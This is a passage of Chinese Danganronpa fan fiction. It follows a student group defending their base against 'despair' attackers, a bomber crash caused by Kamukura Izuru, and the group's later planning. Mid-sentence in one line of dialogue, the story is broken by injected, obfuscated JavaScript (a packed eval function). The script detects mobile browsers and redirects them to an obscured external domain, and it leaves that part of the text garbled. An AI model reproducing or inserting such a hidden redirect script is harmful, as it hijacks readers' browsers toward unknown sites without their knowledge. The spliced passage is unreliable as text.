某处传来爆炸的轰鸣声。气浪顶开几人掀出十几米远,耳鸣紧随而至,而后是头脑一阵眩晕。通讯仪里传来铭苅的声音,金城隐约听见她在呼喊大家的名字…… 他奋力嘶吼出来: “金城剑报告,没有受伤……” “如月大和没事!!!” 不远处如月扶着墙拼命喊着。“平良……平良也没事!!发生了什么啊,铭苅!!!” “一枚机载导弹炸到了基地上,所幸只是造成冲击力的影响……” 铭苅的声音掺杂着愤怒和忧虑,这还是金城头一次听见她发出这种声音。 “但是现在……很抱歉来不及管你们了!” “没事。”金城意识到那个女人抓住了自己的左脚,于是顺势抽出小腿上的匕首:“我们不会让你分心的。” “晴彦!!!没事吧!!” 小桥川抓紧操作杆,顾不得回答:“目标距离两千米以上,风向东北风风力二级,相对速度无法估计,同样雷达隐蔽……五月,装填□□,大概是你右手边往下数第三行第二个!!” “装填完毕,晴彦你……” “发射!!!!” 机体剧烈震荡着向不知何方发射出炮弹。小桥川喘着粗气拉着操作杆,低着头紧张地听着对面的声音。直到炮弹炸响的声音传到他们耳边、空气跟着轰鸣,他才终于松下一口气。 “对不起……我可能太害怕了。” “不要害怕。”五月伸手抓住他,“你已经很努力了,五月最清楚了……不要勉强自己了……” 几个月前还是开着客机都会高兴得傻乐的傻小子,连直升机的机载武器都用不熟练;如今却开着专业的轰炸机试图拦截敌机的对地导弹,险些被击中机体,刚要松劲时身后的基地却响起爆炸声…… “对不起……不该冲你大声说话的…”小桥川空出手扶住头,“对不起……对不起,我不该让你跟我上来的……对不起……我该保护好大家的……我该保护好基地的……” “……不要道歉,晴彦亲没做错什么。” 五月抓紧他的手。“你做到了本职的工作,不是吗?没关系的,你不是击落了对方的飞机吗?没关系的……而且基地也不会有大问题啦!大和亲不是说过嘛,基地外部的防御设施做得非常好哦!!” “我……击落了他们……” 小桥川猛地抬头。“所以我……杀了人是吗……那边的飞机上也有人对吧……我……” 他猛地颤抖起来,尽管机身依旧平稳,但上下牙止不住地打起颤:“我……我……杀了……” 再这样下去他会失控的,五月意识到。虽然他一直是个笨蛋的样子,但是实际上他的承受能力没那么强,一直都只是在……硬撑。怎么办,现在怎么办…… ……说到底,我不也是个笨蛋吗。五月自嘲似的想,一直努力笑出来,一直努力地练习不那么好使的脑瓜,一直……被保护着。 小时候七哥会保护她。长大后她幸运地遇上了愿意爱她的人,而后被他保护着。她知道自己唯一的优点就是乐观,尽管很多时候都只是……她知道自己什么忙都帮不上,只好努力鼓励着别人。永远只能做一个小丑,用自己的滑稽逗来他人的笑容;永远是个孩子,永远被保护着,就算看见心爱的男孩在眼前被打晕都无法做出反击,永远是弱者,永远……是个孩子…… 但是孩子终究是会长大的。 这次……轮到我来保护你。 “抬起头来,晴彦亲。”五月紧紧抓住恋人的手,尽管自己也在颤抖,“我们的职责是什么,你还记得吗?活着的人要带着希望活下去,带着逝者的希望活下去,还记得吗?我们要尽力消灭世界上的绝望,你还记得吗?” “希望……已经死去的……” 这家伙……果然是笨蛋。说着已经不在意哥哥的死,其实还是忘不了吧。 五月刻意避开“杀人”这个敏感的话题,努力试着平复他的情绪,“没关系的晴彦……我们有好好地保护大家,我们的朋友还在等我们……别害怕,别害怕,我在这里……” “……我不害怕。” 小桥川深吸几口气,抬手反抓住五月的手,“五月……你就是我的精神锚点。” 五月睁大眼睛。二人的目光透过两层护目镜相遇,先脸红的是她。 真是可爱啊……我的小笨蛋。只要有你在……我就永远不会绝望。 “好了好了,见笑了伊良波女士!” 你……简直是个天使……笨拙地可爱,却永不服输。小桥川集中精神,观测好地面情况。 “接下来是小桥川机长的特技飞行时间~请控制好心跳和呼吸,不要太紧张哦———” “诶??特技飞行??” “不是说了地面上那群九头龙的人不能直接轰炸嘛,那就飞过去拿机载机枪直接打喽。” “诶?!?!?!这也太?!?!” “不用担心,不要紧张,”这次他的语气恢复了往日的快活,甚至带了些戏谑,“这是给伊良波五月女士的报答!!” 五月被重力贴到座位靠背上,心脏在胸腔砰砰作响———但不是因为紧张。 “小桥川……” “嗯?干嘛?” “小桥川五月,”她红着脸,没敢看他,“也是个很好听的名字……” “……诶诶诶现在想这个是不是还是太早了……” 稳住啊稳住啊,这时候不能乱了阵脚…… 小桥川努力平下心跳,准备向九头龙的部队进攻———再怎么说现在只是高中生的年纪,现在就谈这个也太——— 轰炸机的挡风玻璃前倏地出现一道黑影。二人一同抬头去看,顿时止住呼吸。 “牧清香?牧龙太郎?听见了快回复!!!!” “唔……” 牧清香紧紧抓住枪,吃力地挤出来:“牧清香没事,龙太郎砸到脑袋了……已经做好紧急包扎,人还清醒着……” “……保护好自己,永远在自保的前提下去进攻,”铭苅的声音带着颤抖,“清香,你做得很好了,西南方向的防御工事已经抵挡住了进攻,你已经将他们中的所有远程武器解决掉了……” “我知道。”清香抱住弟弟的头,“现在……可以回去了吗……龙太郎在流血……” “……安藤先生已经准备好了。” “好了龙太郎,别赖着了……”清香拍拍弟弟的脸,“叫你不要乱来,告诉你了先保护好自己……不听姐姐言吃亏在眼前啊……” 龙太郎微微睁开眼:“保护好狙击手,是观察员的基本职责……傻*姐姐连这都能忘,呵呵。” “……你以为这是什么战争游戏吗?” 清香狠狠掐了他一下,“你以为你逞英雄的行为很帅是吗?你跟谁置气呢?” “我没有逞英雄。” “看,又嘴硬。” 清香使劲将散落在地上的装备和自己的蠢弟弟拖起来,努力扛到自己身上,“你知不知道自己有多沉?真烦人啊龙太郎。” “累死你好咯。” “得了,别装了。你要真希望我早点死,刚出那个炸弹飞过来的时候就不会只把我推开了。” “我那是保护狙击手……” “狙击手是你亲姐姐!!!” 清香忍无可忍,扯开嗓子大喊,“无论你是什么身份,无论你想不想承认我是你姐,我是不想你死在我前面的!所以你给我听好了牧龙太郎!!!给我记住,在战场上优先保护自己的命,听见没有!” “嘁……” “这是狙击手的命令!!哎哟沉死了…” “……是。” 龙太郎埋下头。 姐姐。臭姐姐。该死的姐姐。 一年多以前,他得知了希望之峰学园的那场惨剧,不久后被通知了姐姐的死亡。 那时他才知道一直以来他收到的“父母给的”零花钱,全都是姐姐给的。 姐姐很厉害。姐姐有百发百中的才能。姐姐会被谁雇佣去干活,然后早早地赚下一笔又一笔他眼中的巨款。 也是在被通知姐姐已经死亡的那时候,他才知道姐姐是被骗去当雇佣杀手。没多久姐姐得知了这份工作的真相,便发誓再也不碰枪,不再利用这个才能去祸害他人。 再后来他收到了姐姐的来信。他哭了,看着手机上那个久违的号码发来了消息,他抱着手机痛哭,然后决心带着一如既往地臭脸去找姐姐。 “姐姐。别死了。” 姐姐。被通知你已经死掉的时候,我真的很害怕。 姐姐。我从来没真的希望你死掉。 姐姐。不要死好吗,我不想在你面前露出脆弱的一面。 姐姐。不要死。不要死了好吗。 会死。真的会死。 再不做些什么,真的会死!!!! 如月扛起步枪,按照牧和金城的教导瞄准发射。持刀的女人还在爆炸余波的晕眩中,金城和肌肉女动了刀子格斗,平良……至少现在离得很远。 再不做些什么就会死…… 第一枪打偏了,他控制不住颤抖的语气;第二枪打中了剑道女的头发,她随即睁大眼睛瞪向他。 “……没死啊……小子。” 这下糟了。如月接连开出几枪,无一例外地被弹开。他下意识后退着,身体以自己都没反应过来的速度狠狠踢出一脚———这一脚正好被抓住,他狠狠摔倒,而后又砸向墙面。 脑子“嗡”地一声炸响,视野里随后出现血色。不好……要给祷添麻烦了…… “大和!!!!” 眼看边古山的刀即将自头顶劈下,金城顾不得自己已经被钳制住上半身,将手中的刀猛地丢出,正好扎在边古山背上。 “佩子!!” 几乎锁住金城喉咙的手在剑道女吃痛丢下刀的时候松开了一瞬,金城趁机用力扳开她的手臂,旋身抬脚狠狠地将她摁在地上,用警察的本能反应解下腰间的手铐,拴住了她的双手。 ……奇怪,绝望的罪犯居然也有对同伴的同情心吗? 边古山的刀随着背上的刀扎进而掉在如月面前:“……可恶……赤音……” “如果你是在说我的话,我想你没必要挣扎了。” 平良飞身伸腿夹住边古山的脖子,用一个漂亮的剪刀腿将她锁在地面:“我……不会再绝望了。” 【*日语赤音(あかね)和茜(あかね)发音一样】 “……你?” 边古山迟疑了一下,斜着眼看向平良。金城喘着气走来,在她手上也扣上手铐:“你已经被逮捕了,边古山佩子。有什么话,等着进牢房再说吧。” “……啊……呵呵……哈哈哈哈哈哈……”边古山忽然开始狂笑不止,“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908402|176831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个眼神,我不会认错的,那个眼神……女仆,你绝望过吧?” “……!!!” “哈哈哈哈……说中了……”笑声戛然而止,“果然绝望是永不磨灭的。” 地上被铐住手的终里猛地伸出两条健壮的大腿勾住金城的腰腹,将他绊倒在地,随后以不可思议的速度坐起夹住他的脖子;与此同时,边古山一脚踢飞平良,勾倒刚要站起身的如月,另一只脚蹭起掉在地上的刀甩到背后的手上。 “那边的警察……啊,我有印象,”边古山回过头,看着脸渐渐憋紫的金城,“是警察厅厅长的儿子吧……早在你还是个小犊子的时候,我就在九头龙手下当保镖了。你真以为我那么好对付?” 金城无话可说,只能挣扎着挣脱束缚,奈何这个肌肉女力量强到不可思议… “快跑……大和……” 如月举着枪,瞪大眼睛开出两枪,随后意识到子弹不知何时已经用尽了。该死,早知道应该多拿点防御武器的……连体术绝佳的金城和平良都被死死牵制着,我…… 到最后,我还是什么都没能做到吗…… 如月闭上眼。边古山被铐在背后的手臂以不可思议的方式扭到头顶摆到正确的角度,上一次她做好了劈顶的准备后被警察扔了一刀,现在凭着剩下的力气,解决这几个小鬼绰绰有余…… “吃老子一球!!!” 一声闷响从身后传来。边古山猛地回头:“还有帮手?!” 被什么东西砸中脑袋的终里愣了一会儿,头部随即流下血,而后软软地倒了下去。金城扳开锁住自己的双腿,因缺氧而大口呼吸着:“是……比……比嘉?!” “看来是赶上了!!!”比嘉得意地笑起来,“接下来看你的了,清香!!” “这点距离不算问题。” 边古山看见了枪。枪口。而后是飞来的子弹。她想着劈开它,然而这次她的速度没能比过狙击手,尽管有躲避的意识,右腹部还是被贴边击中。一小块血肉随着子弹飞出,砸在身后的墙上。 “……狙击手?!” “不只是狙击手。”黑川不知从哪里跑了出来,后面跟着面不改色的上原,“停手吧,77届的前辈们……低估我们是你们最大的失误。” “哼……只要少主还在外面进攻,我们就不会失败……” “如果你说的是冲西南方向弱势区的进攻和战斗机空袭的话,你觉得为什么我们会来这么多人呢?”上原不紧不慢地说,“你们的重装甲已经被这位狙击手全部解决掉了,空袭的飞机也已经被我们击落……你们败了,绝望。” 边古山皱起眉,默不作声地站在原地,尽管她右腹的伤口还在流血。 “……大和君!!”黑川扔下坚毅的面容,哭哭啼啼地扑倒如月身上,“铭苅告诉我们要来增援的时候,可担心死我了!!!你还活着真是太好了!!!头上的伤很痛吧?不要紧,佳奈多让我们带了急救包来,我马上给你包上!!” “哎呀不要急。”如月望着天花板说,“早知道她们这么厉害,我该拿那个手甲来的……” “你是说那个电磁领域手甲吗?我带来了,戴在身上。说真的大和君你吓死我了!!你跟着金城学学防身吧以后!!” “好了好了不哭不哭。” 边古山斜着眼看向他们:“关系不错啊。是从小一起长大的吧。” 黑川惊讶地抬起头:“你怎么知道?” “……我和你很像,我也是从小被捡回去养大的,小姑娘。” “……但是你仍然陷入了绝望。” “……我不明白你的意思。” 黑川站起身,义正词严地指着边古山:“只要大和君还活着,我就永远不会丧失希望……不,就算他牺牲了,我也会带着他的份充满希望地活下去,我的希望永远不会被磨灭。而你……我不知道你究竟经历了什么,我也没资格评论他人的人生,但是你被绝望吞噬了……” “你很好奇我们的经历?”边古山轻笑。 “我不会好奇。我知道你们有一个很会洗脑的首领,我们也有一个曾经的朋友陷入了绝望没能走出……但是至少为了我如今的朋友们、为了我如今的同学们,我永远不会绝望!!” “……” 边古山低下头,似乎在思考着什么。黑川还在滔滔不绝地说:“我们……愿意相信彼此,愿意来搭救彼此,听见了救援的信号,就立刻赶来了……我愿意相信我的朋友们能打败敌人,我的朋友们都是希望的战士!!” 那一瞬间眼前的女孩与谁人的身影重叠了。那人比这女孩娇小很多,永远低着头拿着什么专注地看着。 边古山睁大眼睛,泪水失去了阻挡,开了闸似的淌下。 那个女孩从未失去希望。那个女孩一直相信着大家。那个女孩一直坚持着走了下去。那个女孩在微笑。那个女孩经常微笑。那个女孩经常腼腆地回过头,眯起眼睛冲大家微笑,笑着说早上好,笑着说我最喜欢大家了。那个女孩最终被大家一起看着,然后被扎的满身窟窿,倒在血里。 “哈哈哈哈哈哈……我知道了………” 边古山在泪水中咧起嘴。 她对着绝望,以希望之名微笑。 “我知道了……哈哈哈哈哈哈哈,哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈!!!!” 崩溃的笑声与哭声一同从一个人身上发出,吓得黑川汗毛倒竖,不知所措地跪倒在地。如月下意识把她揽入自己怀中紧紧抱住:“美佳子别怕!!把手甲打开!!” “那是什么东西……”比嘉在不远处喃喃到。 “绝望。”平良倚在墙上,艰难地站起身,“濒临崩溃的绝望。” 金城拍掉正在为自己包扎的上原的手:“快控制住她!!!!要么就快跑!!!” “哈哈哈哈哈哈哈,哈哈哈哈哈哈哈哈………”边古山转头注视着黑川,狰狞的笑脸和泪水混在一起,瘆人又恶心,而且很难不注意她的双眼,那种深邃、混沌、邪恶的绝望,“小姑娘……你让我想起了我绝望的来源………哈哈哈哈哈哈哈哈哈哈……对不起,我刚才说我们很像…………我们一点也不像………但是你……” 刀刃直冲面门袭来,如月抱紧尖叫的黑川,而后想起她打开了手甲。 “你很像我的一个故友啊。” “她是黑川美佳子,不是任何人。”如月恶狠狠地说,“你给我放尊重点!!!” “这个女人已经陷入了癫狂……”上原站起身,边古山狂笑着刺下第二刀时迅速划了个十字:“求主宽恕。” 然后狠狠地将手中厚厚的圣经砸在了她后脑上。 “总算是捆住了……”祷哭着放下医疗箱,“如月君……如果她再用力一点,你的脑袋可就瘪下去了……” “现在外面的九头龙已经撤退了,但不排除他们有可能搬救兵。”铭苅的声音令人安心,“我看见那个带头的矮子放了个什么信号,你们小心一点。” “避难所那边伊良波先生在负责,”黑川扶着如月站起来,“西南防线,我记得山口和波多乃还在那里吧?” “龙太郎已经在手术了。”牧清香抱着枪坐在地上,“安藤先生说伤不算重,都是皮外伤。” “上原呢?” “上原……”金城看向给了边古山佩子最后一击、现在一个人坐在角落里的上原,“在忏悔。” “……?” “我给她们两个打了麻醉针,身体外的伤口也做了紧急处理。”祷的声音从下方传来,“抓住了两个77届的前辈……真是太好了!我们可以拷问出很多事情吧?” “说不定可以问出她口中的【绝望的来源】。”平良俯身看向边古山,“她说以前见过女仆,还有,和美佳子大人很像的故友……” “这件事交给我调查。”铭苅那边传来噼里啪啦的打字声,“情报已经记下了,现在还有什么情况?” “啊,”比嘉指指天上,“小桥川……” “……他们两个失联了。”铭苅的声音透露出一丝颤抖,“幸运的是我们可以直接看到他们……现在外面已经基本安全了,你们可以出去看。” 受了伤的没受伤的众人一股脑涌出去,争相看向某个方向上的前沿轰炸机,只有上原和祷留下来看住两个昏迷的俘虏。如月高兴地搓手:“漂亮吧?我让凤买的,这可是美军最得意的发明,现在这年头什么武器都不值钱了,这飞机才花了……” 一股黑烟砰地从轰炸机上冒出,而后机身调转了九十度,倒栽葱一样直直冲向地面。 “……” 在心疼飞机之前,如月猛地睁大了眼。 “……小桥川!!伊良波!!!!” “见了*鬼了这是什么玩意儿啊!!!!!” 五岁开始驾驶轻型飞机、至今机龄十几年的小桥川晴彦第一次怀疑自己的眼睛,因为一个男人趴在了飞机的前玻璃上。 “………啊啊啊啊啊啊啊啊啊!!!!” 从小经受着家庭马戏团的严苛训练、到处巡演见过无数非凡景象的伊良波五月第一次发出绝对惊恐的尖叫,因为那个男人正搁着玻璃紧盯着他们。 …………有个人趴在飞机外?!?!怎么可能有人出现在飞机外??怎么可能做得到啊,有个人趴在飞机外吗??!这里可是…… 离地面3000米,对飞行来说不算高空,但是…… 怎么可能有人在这里啊?!怎么可能有办法把人送到这里啊?! “……晴彦……”五月忽然下定了什么决心似的抓住他,“把他甩下去!!往上面飞,把他甩下去!!!” “我这就要这么做。” 然而无论怎么上下颠扑、左右甩荡,玻璃前的男人始终紧紧抓着外沿的支撑框架,像牛皮糖一样黏在上面。真是见鬼了,再怎么说这也太离谱了,这都掉不下去…… 玻璃外的长发的男人从腰间掏出一把小刀。五月惊恐地看向晴彦,后者反而咧起嘴笑了:“没事,这玻璃可不是小刀能捅碎的,正好他只剩一只手当支撑点……” “咔嚓。” 笑容凝固在脸上。 “……五月,准备跳伞。” “……诶?!” 这种力量,怎么可能,怎么可能,怎么可能有用普通的刀捅碎特质的轰炸机前玻璃的力量,怎么可能,怎么可能有在高空在飞机外侧被甩来甩去还不会掉落的力量,怎么可能…… 碎玻璃从面前划过,高空的冷空气唰地灌进驾驶舱,刮的二人脸上生疼。 同时凉下了希望。这样跳伞……几乎来不及了。 握着小刀的长发男人瞪着眼睛握着小刀,伸手划向毫无防备的晴彦: “区区超高校级的飞行员而已……” ……不会吧……这就要…… “你给我滚!!!” 五月探出一半身子,狠狠地用头槌击中袭击者的腹部。没把她放在眼里的男人本想格挡,但飞机极速直直地向下栽去,他被甩到驾驶舱外,随后像之前一样抓住支撑玻璃的支架。 “……哦。” 男人冲五月说,似乎是在回应那句“你给我滚”。随后他松开手,开始坠落。 “……五月!!” 解开了安全带的五月开始向下坠落,没了挡风玻璃、又用力头槌了袭击者后她的坠落毫无阻挡。他伸手捞住她而后狠狠拽回来:“安全带!!” “……你在流血……” “我说你快把安全带系好,不要管我!!离地面只有一千米了,那家伙不知什么时候打爆了一个引擎!!” “……晴彦啊!!你的脖子在流血啊!!!!!” “……啊。” 到底是被划中了……幸好她反应及时把那人打走了,否则就不是被划开一层皮那么简单的事情了啊…… 可能是几次三番看见了过于冲击的场面,现在有点晕……但是无论如何,先把她安全送回地面…… “五月。操纵杆失灵了。” “……我能做什么?” “抓住你右手边的紧急制动装置,然后使劲拉住。” “好。” “拉好了吗?好了,过来,抓住我。” “……?” 小桥川不由分说,紧紧抱住五月。 “我们会砸到地面上……我答应启介哥了要好好保护你。” “……可是!!” “哎哟,别怕……我经历的空中紧急事件也不算少了……你会没事的。” “……笨蛋晴彦……我在担心你啊!!!” 不要再来一次了,看着恋人在自己面前失去意识。在研究所那时候发生的事情……再也不要……再也不要…… “没关系,五月。”小桥川轻笑,“我们一定会好好的活下去……相信他们,相信朋友们会……” 坠落的轰炸机砸到地面,继而爆响出轰鸣。 “五月!!!!晴彦!!!!” 伊良波启介努力抑制着心跳,飞奔向还在冒烟的轰炸机。所幸飞机的自保系统在坠落时抛了副油箱和炸药箱,要不根本不可能以这种相对完整的姿态掉到地面上。跑得最快的波多乃和比嘉已经在机舱前了,刚想撬舱门时发现飞机的玻璃不知为何碎的几乎一点也不剩了。 驾驶舱里的小桥川用身体紧紧护着五月,缓缓睁开眼:“……啊……” “还活着!!祷!!祷!!!”波多乃高呼,“山口!!带祷上来吧!!还活着!!” “五月!!!”启介爬上来,心跳急到喘不过气。赶来的山口帮着忙抬起机舱外框,将满身尘灰的小桥川和五月抱了出来,所幸二人没受什么伤……只是在坠机中有点晕。 ……还活着就好。启介两眼一黑,一屁股坐在地上。五月被放到他身边,他如获至宝地紧紧抱住妹妹。 “……晴彦……脖子受伤了……”五月趴在哥哥身上,终于开始抽噎,“喉咙……被划了……” “没关系的小五月,”祷拿着酒精和纱布,勉强挤出安慰的笑,“他只是受了皮外伤,动脉和气管都没事。只是……这个长度,会留疤哦。” “那都是小事啦。”小桥川挥挥手,看得出他疲惫到了极点,但神情随即严肃起来,“我……金城和如月呢?我有重要的消息要报告。” “他们在路上。”波多乃指着不远处两个奋力移动都人影,“受了点伤,俘虏了两个绝望,看见你们坠机了就赶过来了,就是确实有点慢。” “……那两个俘虏呢?” “在基地里,被上原和黑川,还有平良和牧看守着。” “……糟了!!快回去!!” 几乎是同一时刻,众人手上的通讯仪传来了铭苅焦急愤怒的声音:“一个人入侵了基地正门!!!他太快了,连通讯都给屏蔽了……上原他们没能力与之抗衡……俘虏被带走了!!” “太快了,我们只来得及看见他的样貌,”上原急促的声音随之传来,“平良本来想阻止,但他的目标似乎只是夺走那两个人。” “……是那个人。”五月支着地面坐起来,“在半空中突然出现,捅开了飞机的玻璃,把引擎打爆了,还在晴彦身上划了一刀……” “一定是他了……”小桥川攥紧拳,“说真的,我以为我在做梦……但是那个人……他真的做到了我想象中的不可思议。” “……喂,你这人。” 九头龙冬彦抱住被扔过来的边古山———终里是管不了了,她身体倒也结实———而后冲着长发的男人大喊。 “你一直在帮助我们吧。” 那人站住脚,但没有回头。 “江之岛大人没告诉我们你是谁,却要我们相信你。”九头龙捏紧拳,“你到底是谁?为什么要帮我们?” “……” 长发的男人不再停留,独自向前走着。 “……至少让我说句谢谢吧!” “……” 无聊。 “超高校级的希望,神座出流。” 平良用非常平淡的语气吐出这个名字。 “……真正的全能、全才、拥有所有才能的人造希望,神座出流。” “……亲眼见到他的人,已经了解了他的不可思议吧。”上原捏着十字架说,“不可思议的速度,不可思议的力量,那怎么可能是希望……简直就是……” 众人一齐陷入了沉默。 “先不说神座出流了,来看看这个。”铭苅打开屏幕,“在我们对抗入侵的77届生时,78届的自相残杀的第一次学级裁判结束了。” 屏幕上放映出第一次裁判后的处刑录像。在经历了真正意义上的战争后,大家面对如此惨象也已经疲惫了。 “我认识他,桑田连恩。”比嘉瘫倒在椅子上,“运动会的时候见过,打棒球的。就这么死了。” 一时间竟没人说话。屏幕中的78届学生惊恐地尖叫着,而他们哑口无言。 如月顶着裹得像粽子似的脑袋站起来:“都没人说话的话,我带个头,做个提议。我建议大家从今天开始跟着金城和平良学点格斗术,不能仅靠着牧的枪法了……所有人,我是说所有人!还有……都跟着小桥川去学学开飞机,每个人都去,学不会不要紧,我们现在……人手还是太紧了。” “我可得说一下,”脖子捆得像木乃伊似的小桥川举起手,“飞机可不是想开就能开的,大部分人的身体素质并不适合持续飞行,身上有伤口的人也很难适应战斗机等高机动性空中任务……我觉得上原你可以去招募一下飞行员。这个,真教不了。” “好,这个再说。”如月拍拍脑袋,“情报属实的话,我们已经见过了77届中强近战能力中的两人了。差距很明显了吧?如果没有比嘉、上原还有美佳子,我们仨可真的会死。” “没错。”铭苅转着笔,“我的推算中,你们死亡的概率占了80%。” “那么,为什么我们活下来了呢?”如月举起手,黑川知道他又要像以往一样振奋士气了,“我们相信朋友们不会抛弃自己,也愿意为了保护朋友挺身而出。我们最宝贵的希望就是团结!我们拥有打碎绝望的团结!” “没错。”金城抱着胳膊微笑,“我们愿意相信彼此,这就是最宝贵的团结力了。” “是嘞,是嘞。”清香高高兴兴地说着,“大家都在尽自己的力量保护所有人,这不是很棒吗!” “没、没错!”山口红着脸,“虽然我们都很害怕……但是保护大家是每个人的义务!我们可是同生共死的朋友!!” “……朋友……” 黑川突然想起了什么,连忙抬头看向铭苅:“能不能查到77届学生在校时的数据?照片也好记录也好什么都行,有件事我有些在意。” “77届的绝望?”铭苅挑起眉,“虽然一定会很难,但是我会去试的。” “我也想起来了。”金城稍微激动起来,“那个剑道家……她有说过绝望的来源。” “……明白了。我会记下的。” “以及她提到了女仆。”如月补充,“总觉得在哪里看到过……女仆,女仆……比平良还厉害的女仆……” “我觉得我们这些笨蛋可以先撤退了。”五月一本正经地说。 是啊,女仆。她是个女仆。 永远出现在事件中心的女仆。全能的无敌的女仆。那个女仆。绝望的女仆。 平良茜扎起头发,系好围裙。 一切都那么恰到好处。没有人死亡。大家都活了下来。陷入险境的人一定会被拯救,生死攸关的人也会在夹缝中生存下来。 一切都那么正好。 ……虚空大人,这就是您的想法吗…… 让他们活下来,我有继承你的意志的话…… 我们也是永远在一起了吧? 4. 直面绝望篇(2) “大和君………” “再睡一会儿……” “大和君………” “别闹美佳子,我就再睡一会儿……” “唔唔唔大和君!!!!!” 被子被整个掀开,只穿着内裤趴在床上睡懒觉的如月毫不在意:“你……给我盖上……冷……我再睡一会儿……” “我建议你快点起来,如月。” 铭苅怎么也跟着美佳子闹腾……等等……铭苅?! 如月噌地坐起来,扯过被子盖住自己:“不是……你们怎么全都来了啊??!!” “你开会迟到了将近一个小时,”金城抱起胳膊憋住笑,“大家都很担心你,就跟着黑川一起过来了。” “……行了行了赶紧出去吧别围观我穿衣服……” “不用管他了。”黑川面无表情地抢先转身离开,身后如月拽着被子大喊:“暴力女!!都告诉你了别这么叫我起床了!!我该起来的时候知道起来!!丢死人了!!” 五月:“关系真好呢,像老夫老妻。” 晴彦:“是这样的,这是事实。” 清香:“得得得您俩赶紧走吧。” “所以,一大早的让美佳子给我掀被子,原来是为了这事。”如月像往常一样试图挠头但忘了头上还缠着绷带,只好作罢,“超高校级的游戏玩家,七海千秋……是个很不错的班长啊。” “我连夜搜查到的资料只有这些。”铭苅展示着自己扒到的照片,“现在网络基本都被江之岛封锁了……我查这些还真废了一番功夫。” 金城将另一份文件推到如月面前:“而与77届有关的女仆,我找到了这个,你看一下。” “……未来机关的人?”如月翻着文件皱起眉,“当过77届的班主任,原超高校级的女仆雪染千纱。友利,跟未来机关联系了吗?” 友利勾着头发摇摇头:“倒不能说没联系,只是……他们主动联系了我们。我也不知道他们怎么找到我们的联系方式的,总之是打来了电话,询问了我们的基本情况什么的。我也问了雪染千纱和77届的情况,可惜他们根本不回答呢。” “我建议我们派几个人去和他们当面谈谈。”山口说,“不必说合作什么的,至少交换一下情报,沟通一下。” “我同意。”金城说。 “那就麻烦美佳子给提个日程了。”如月敲敲脑袋,“就我和金城去吧,还需要更多人吗?” “防卫的话金城估计够用,还要带几个话术强的去说服他们,还得有个司机吧?有点排面。”比嘉笑呵呵地说,“我们球队经理给的老经验,这种谈判什么的不把自己包装一下对方可看不起呢。” “那就带着上原、美佳子和小桥川,铭苅留在这里指挥,”如月坐直身体,扭了扭脖子,“有异议吗?” 铭苅摇摇头:“我不建议一次出去三分之一的支柱力量。” “铭苅的意思是?”金城瞥去一眼,“有更好的方案吗?让未来机关的人来这儿?” “那不现实。”铭苅推了下眼镜,“未来机关的领导都是希望之峰曾经的高层,副学园长、学生会长还有那个侦查员老先生都在,格调可比我们大不少……算了,就这样吧。” “喂喂,这可不像铭苅说的话,”黑川笑着说,“你不一直会发表出优秀的意见嘛?大家都很认同你的指挥哦。” “不。”铭苅少见地露出微笑站起身,“直到刚才我才意识到,我似乎在下意识地对你们的观点进行批判……但是如月也好金城也好,都已经成为能独当一面的优秀的人才了。” “诶?!铭苅夸人了?!”牧夸张的说。 “……虽然很不甘心,但是果然绝境会让人更快地成长。”铭苅摘下眼镜擦了擦,脸上的微笑始终没消失,“你们没发现吗?自己已经成了足以让我认可的人才了啊。” “你看看这个咋样?” 凤掏出一条非常符合他审美的彩虹色围巾,搁着两个货架扔给小桥川,“你看看,试试嘛!别看都不看直接扔到一边了!!” “凤亲的审美实在是好恶心呢。”五月探出头吐了个舌头。 “什么嘛!!你个除了小丑服啥都没穿过衣服都认不全的家伙怎么有资格说这话嘛!” “我也觉得凤的审美非常惨烈。”小桥川面无表情地拿起另一条围巾。 “你这家伙!!”凤气鼓鼓地走过去,“早知道不带你来我家超市了!” 不知道神座出流那把匕首上沾了什么东西,反正脖子上留下的疤难看极了。小桥川伸手去摸,立刻被五月打下来:“佳奈多都说了不许碰!!” ……虽然有了难看得要死的伤疤,所幸安藤先生说不影响飞行任务。只是到底是影响美观……所以凤才提议买条围巾回去戴着,去未来机关也能看着更霸气些。他本人还没同意,一旁的五月就举双手赞成了:“我同意!电影里的飞行员不是都戴着超———级长的围巾嘛!会超级帅的哦!!” 所以就被拖来了凤超市里头。 “我说真的,凤你是不是长高了?” 看着一进超市里就忙前忙后的凤,小桥川撑着脸吐槽到,“总感觉看你的时候低头的幅度没那么大了。” “……你不必这么阴阳怪气。” “我是说真的,你这儿有没有量个子的地方?”他伸个懒腰,打了个哈欠,“我真感觉你好像长高了。是咱伙食太好了吗?” “凤亲好像真的长高了哦。”五月不知在哪喊道,“五月以前学习抛接戏的时候,对高度的判断很准确哦!” 我长高了?怎么可能嘛。 凤不以为意,但他确确实实长高了。 最终五月看中了条米黄色的长围巾,凤颇为阔气地掏出同款式的所有库存装进箱子。小桥川弯下腰让五月能顺利地把围巾挂他脖子上,而后挺直身子拉了拉。 “特别特别帅气!”五月张开手欢呼。 “都是你眼光好。” 已经是夏天了啊……戴着围巾还是会热的。或许以后都会一直戴着围巾了?那可真是遗憾…… “你要是嫌热,我给你订点透气的。”凤像是看出了他的心思一样,得意洋洋地说到,“你看,我爸这围巾我也带着呢,咱以后可以同甘共苦了嘛。” 不知道从什么时候开始,说起已故的父亲,凤不会流泪了。他确确实实长高了。不再依赖父亲,不再吵吵闹闹,身为财政部长也出色地完成了他的本分。 “……我说你啊别老俯视着我,压力挺大的。” “嗨呀,”小桥川大笑着拍拍凤的肩膀,“说不定你以后能长得比我还高呢?” 孩子终究会长大。 在如月机关联系好未来机关、准备会面的那一天,78届学生的第二次学级裁判结束了。死者是个男扮女装的程序员,凶手是个个头不小的暴走族。 “通过高速旋转,离心分离出了人体的油脂,”金城忍着恶心说,“简单来说,就是把活人甩成黄油。” “凶手的朋友,那个风纪委员,这下彻底精神失常了。”黑川搓着衣角说,“这种精神状态……上原,你怎么看?” 